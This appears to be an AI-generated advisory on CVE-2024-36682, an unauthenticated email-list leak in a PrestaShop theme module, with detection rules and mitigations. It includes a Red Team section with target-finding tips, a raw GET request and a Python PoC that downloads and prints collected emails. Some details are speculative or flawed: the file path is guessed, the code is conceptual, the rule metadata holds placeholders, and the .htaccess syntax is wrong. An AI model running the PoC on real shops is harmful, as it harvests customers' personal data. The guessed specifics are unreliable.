CVE-2024-36682

Executive Summary

CVE-2024-36682 is a critical vulnerability in the Promokit.eu "Theme settings" (pk_themesettings) module for PrestaShop, affecting versions up to and including 1.8.8. The flaw allows any unauthenticated guest to download a text file containing all email addresses collected while the shop is in maintenance mode. This is due to a complete lack of access control on the file storage mechanism, leading to a severe data leak of personally identifiable information (PII). The vulnerability is publicly known, with a proof of concept available, but no official patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability is specific to the PrestaShop ecosystem and its third-party module supply chain. The module pk_themesettings is distributed via the Promokit.eu marketplace and potentially through other channels. Users who have installed this module are at risk. The lack of a patch from the vendor means that the supply chain is currently broken, and users must rely on manual mitigation or removal of the module.

CVSS Breakdown & Threat Level

CVSS Score: 7.5 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

• Attack Vector (AV): Network - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low - No special conditions or complex attack sequences are required.
• Privileges Required (PR): None - The attacker does not need any authentication.
• User Interaction (UI): None - The victim does not need to perform any action.
• Scope (S): Unchanged - The exploit cannot affect resources beyond the vulnerable component.
• Confidentiality (C): High - All collected email addresses are exposed.
• Integrity (I): None - No data modification is possible.
• Availability (A): None - No denial of service is possible.

Threat Level: High. The ease of exploitation and the sensitivity of the leaked data (email addresses) make this a significant privacy and compliance risk (e.g., GDPR).

Deep Dive & Mechanics

The vulnerability resides in the pk_themesettings module's handling of email collection during maintenance mode. When a PrestaShop store is placed in maintenance mode, the module provides a feature to collect visitor email addresses for notification purposes. These emails are stored in a plain text file (e.g., emails.txt) within the module's directory or a publicly accessible web path.

The core issue is that the module does not implement any access control checks on the file. An attacker can directly request the file via its URL, bypassing any authentication or authorization mechanisms. For example, a request to:

https://target-shop.com/modules/pk_themesettings/emails.txt

would return the entire list of collected emails.

The vulnerability is triggered when:

1. The PrestaShop store is in maintenance mode.
2. The pk_themesettings module is installed and active.
3. The module's email collection feature is enabled (or has been used at any point).

The file is typically stored in the module's root directory, making it accessible via a direct web request. The lack of a .htaccess or web server configuration to deny access to this file is the root cause.

Vulnerable vs. Patched Code

Since no official patch exists, the "patched" code is a hypothetical fix. The vulnerable code likely writes the email to a file without any access control.

Vulnerable Code (Conceptual PHP):

// In a controller or helper file
public function collectEmail($email) {
    $file = _PS_MODULE_DIR_ . 'pk_themesettings/emails.txt';
    file_put_contents($file, $email . PHP_EOL, FILE_APPEND);
}

Patched Code (Conceptual PHP):

public function collectEmail($email) {
    // Store outside the web root
    $file = _PS_ROOT_DIR_ . '/var/logs/pk_themesettings_emails.log';
    file_put_contents($file, $email . PHP_EOL, FILE_APPEND);
}

// Additionally, add a .htaccess file in the module directory
// File: modules/pk_themesettings/.htaccess
// Content:
// Deny from all

The patched version moves the file outside the web root and adds a .htaccess file to deny direct access to the module directory.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A PrestaShop instance with pk_themesettings <= 1.8.8 installed and active.
• The shop must have been in maintenance mode at some point, and the email collection feature must have been used.

Exploitation Steps:

1. Identify the Target: Use Shodan or Google dorks to find PrestaShop sites. Look for the module's presence (e.g., in page source or known paths).
2. Direct File Access: Send a GET request to the vulnerable file:

   GET /modules/pk_themesettings/emails.txt HTTP/1.1
   Host: target-shop.com
   

3. Extract Data: The response will contain all collected email addresses, one per line.

Proof of Concept (PoC) Script (Python):

import requests

target = "https://target-shop.com"
vulnerable_path = "/modules/pk_themesettings/emails.txt"

response = requests.get(target + vulnerable_path)
if response.status_code == 200:
    emails = response.text.splitlines()
    print(f"[+] Found {len(emails)} email addresses:")
    for email in emails:
        print(email)
else:
    print("[-] Target not vulnerable or file not found.")

Blue Team (Detection & Response)

Detection Steps:

1. Monitor Web Logs: Look for GET requests to /modules/pk_themesettings/emails.txt or similar paths.
2. File Integrity Monitoring: Alert on any access to the emails.txt file within the module directory.
3. Network Traffic Analysis: Detect outbound data transfers containing multiple email addresses.

Response Steps:

1. Immediate Isolation: If the file is accessible, immediately block the path via web server configuration (e.g., .htaccess or Nginx rule).
2. Remove the File: Delete the emails.txt file from the server.
3. Disable the Module: Temporarily disable or uninstall the pk_themesettings module until a patch is available.
4. Notify Affected Users: If emails were leaked, consider a GDPR breach notification.

Indicators of Compromise (IOCs)

File-Based IOCs:

• File path: /modules/pk_themesettings/emails.txt
• File path: /modules/pk_themesettings/emails.log (if renamed)

Network-Based IOCs:

• HTTP GET requests to /modules/pk_themesettings/emails.txt
• HTTP responses with Content-Type: text/plain containing multiple email addresses.

Log-Based IOCs:

• Web server access logs showing requests to the vulnerable path.
• Unusual spikes in 200 OK responses for a .txt file.

Detection Engineering

YARA Rule

rule CVE_2024_36682_PrestaShop_Email_Leak {
    meta:
        description = "Detects the vulnerable emails.txt file from pk_themesettings module"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-36682"
        hash = "unknown"
    strings:
        $file_path = "/modules/pk_themesettings/emails.txt" nocase
        $email_pattern = /[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}/ 
    condition:
        $file_path or #email_pattern > 10
}

Sigma Rule

title: CVE-2024-36682 - PrestaShop pk_themesettings Email Leak
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects access to the vulnerable emails.txt file in the pk_themesettings module.
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-36682
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/modules/pk_themesettings/emails.txt'
    condition: selection
falsepositives:
    - Legitimate admin access (unlikely)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2024-36682 - PrestaShop pk_themesettings Email Leak Attempt"; flow:to_server; content:"GET"; http_method; content:"/modules/pk_themesettings/emails.txt"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Remove the Vulnerable File: Delete emails.txt from the server.
2. Block Access: Add the following to your web server configuration to deny access to the module directory:
   • Apache (.htaccess):

     <Directory "/path/to/modules/pk_themesettings/">
         Deny from all
     </Directory>
     

   • Nginx:

     location ~ ^/modules/pk_themesettings/ {
         deny all;
     }
     

3. Disable the Module: Temporarily disable pk_themesettings in the PrestaShop admin panel.

Long-Term Actions:

1. Monitor for Patches: Check the Promokit.eu website or PrestaShop addons marketplace for an updated version.
2. Implement File Permissions: Ensure that sensitive files are stored outside the web root.
3. Conduct a Security Audit: Review all third-party modules for similar vulnerabilities.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.